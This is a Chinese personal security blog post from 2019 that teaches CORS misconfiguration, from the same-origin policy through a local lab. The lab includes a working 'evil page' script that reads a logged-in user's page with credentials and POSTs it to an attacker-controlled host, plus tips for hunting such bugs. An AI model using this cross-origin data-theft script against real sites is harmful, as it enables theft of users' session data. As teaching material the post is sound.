Cross-domain Vulnerability Learning
前言
好久没更博客了。。最近手扭到了,原因是某领导来我们学校检查。到男生宿舍后面发现一堆烟头,说到这里我tm服了。。砸这么牛皮= =。吸完就往下扔,后来晚上总宿管全员检查。我们宿舍去开会的偷偷发了个短信给我们,下床双手撑着飞上墙壁看看有没有打火机。。。然后下来时手就肿了。。
CORS跨域读取学习
0x00同源策略
SOP同源策略,该策略是浏览器的一个安全基操,如果没有同源策略,那么你打开了一个合法网站,又打开了一恶意网站。恶意网站的脚本能够随意的操作合法网站可操作资源,没有任何限制。
同源策略介绍:Same-origin policy - Wikipedia
浏览器同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读取读写对方的资源。那么何为同源:
|协议|域名|端口|是否同源
|-|-|-|-|
|相同|相同|相同|是
|不同|相同|相同|否
|相同|相同|不相同|否
一个最好的例子:
你在本地手动远程读取百度的logo,以读取到的二进制数据为准。很快你就会发现不行
这都是同源策略
CORS,跨域资源共享(Cross-origin resource sharing),是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。
0x01跨域访问的一些场景
1.比如后端开发完一部分业务代码后,提供接口给前端用,在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问的问题。
2.程序员在本地做开发,本地的文件夹并不是在一个域下面,当一个文件需要发送ajax请求,请求另外一个页面的内容的时候,就会跨域。
3.电商网站想通过用户浏览器加载第三方快递网站的物流信息。
4.子站域名希望调用主站域名的用户资料接口,并将数据显示出来。
0x03CORS漏洞的攻击流程
Access-Control-Allow-Origin:*
Access-Control-Allow-Credentials:true
通过指定:Access-Control-Allow-Origin允许那些来源可以跨域读取本站的资源,当Access-Control-Allow-Origin为默认的时候。允许任意来源来访问本站的资源,那么就导致了跨域读取
当站点没有指定Access-Control-Allow-Origin的时候,用户访问恶意站点的脚本,恶意站点的脚本请求站点。会被浏览器的同源策略默认拦截
当站点设置了Access-Control-Allow-Origin:*,用户访问恶意站点的脚本,恶意站点的脚本请求站点。浏览器的同源策略不起作用。因为被请求的站点允许任何来源跨域读取本站内容
攻击者手法:
攻击者利用cors漏洞把A.com的orgin改成接收用户信息的在线脚本B.com,然后生成一个链接引诱受害者去点击,如果受害者正好登录了A.com 并且点击了这个链接,则会把cookie发送到B.com
实例:
物理机win7:www.a.com
Kali:www.b.com
<?php
header("Content-Type: text/html;charset=utf-8");
if (isset($_COOKIE['demo'])){
echo "欢迎管理员登录";
}else{
echo '你好,游客';
}
if(isset($_GET['user'])){
if($_GET['user']=='admin'){
setcookie('demo','1');
}
}
?>
<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
var xhr1;
var xhr2;
if(window.XMLHttpRequest)
{
xhr1 = new XMLHttpRequest();
xhr2 = new XMLHttpRequest();
}
else
{
xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
xhr2= new ActiveXObject("Microsoft.XMLHTTP");
}
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
{
var datas=xhr1.responseText;
xhr2.open("POST","http://www.b.com/save.php","true");
xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr2.send("T1="+escape(datas));
}
}
xhr1.open("GET","http://www.a.com/cors/login.php","true") //request user page.
xhr1.withCredentials = true; //request with cookie
xhr1.send();
}
loadXMLDoc();
</script>
</html>
login.php没有设置Access-Control-Allow-Origin
测试如下:
自动帮我们设置了origin头
当我们放包,继续让浏览器执行的时候
(浏览器阻止了跨域读取)
在login.php设置Access-Control-Allow-Origin
<?php
header("Content-Type: text/html;charset=utf-8");
header("Access-Control-Allow-Origin: http://b.com");
header("Access-Control-Allow-Credentials: true");
if (isset($_COOKIE['demo'])){
echo "欢迎管理员登录";
}else{
echo '你好,游客';
}
if(isset($_GET['user'])){
if($_GET['user']=='admin'){
setcookie('demo','1');
}
}
?>
重新请求一下,发现返回的响应里面有(Access-Control-Allow-Origin)
PS:在浏览器执行下一步执行用burp抓包重放是可以看到响应结果的
Access-Control-Allow-Origin指是允许访问的源
Access-Control-Allow-Credentials指的是允许带上cookie访问资源
最后结果:
这里要注意的是,我们也可以测试下带有Access-Control-Allow-Origin: * 字段的网站是否有CORS漏洞,但是如果是如下组合,则没有漏洞,因为浏览器已经会阻止如下的配置。
实际上挖掘跨域资源共享的要点就是:见到有origin请求返回的响应有Access-Control-Allow-Origin,尝试修改Origin头为自己的接收地址就行,详细看下面的secqun的文章。
0x04总结
实战挖SRC例子:
secqun-前端跨域资源共享
遨游浏览器没有做同源策略
Maxthon for mac 获取保存的密码/跨域信息读取/任意文件写入 | WooYun-2015-155672 | WooYun.org
转载请声明:转自422926799.github.io
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:Cross-domain Vulnerability Learning
本文作者:九世
发布时间:2019-03-24, 09:30:13
最后更新:2019-04-19, 20:36:16
原始链接:http://jiushill.github.io/posts/f7db9d16.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。